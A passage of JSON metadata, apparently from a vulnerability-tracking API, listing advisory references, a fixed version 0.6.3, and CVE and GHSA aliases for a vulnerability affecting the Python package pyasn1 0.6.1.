}, { "reference_url": "https://github.com/advisories/GHSA-jr27-m4p2-rc6r", "reference_id": "GHSA-jr27-m4p2-rc6r", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-jr27-m4p2-rc6r" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:10184", "reference_id": "RHSA-2026:10184", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:10184" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:12176", "reference_id": "RHSA-2026:12176", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:12176" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6309", "reference_id": "RHSA-2026:6309", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6309" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6404", "reference_id": "RHSA-2026:6404", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6404" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6568", "reference_id": "RHSA-2026:6568", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6568" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6720", "reference_id": "RHSA-2026:6720", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6720" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6912", "reference_id": "RHSA-2026:6912", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6912" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6926", "reference_id": "RHSA-2026:6926", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6926" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:8437", "reference_id": "RHSA-2026:8437", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:8437" }, { "reference_url": "https://usn.ubuntu.com/8129-1/", "reference_id": "USN-8129-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8129-1/" }, { "reference_url": "https://usn.ubuntu.com/8134-1/", "reference_id": "USN-8134-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8134-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/68031?format=api", "purl": "pkg:pypi/pyasn1@0.6.3", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/pyasn1@0.6.3" } ], "aliases": [ "CVE-2026-30922", "GHSA-jr27-m4p2-rc6r" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kth3-bvbt-gbgk" } ], "fixing_vulnerabilities": [], "risk_score": "4.0", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/pyasn1@0.6.1" }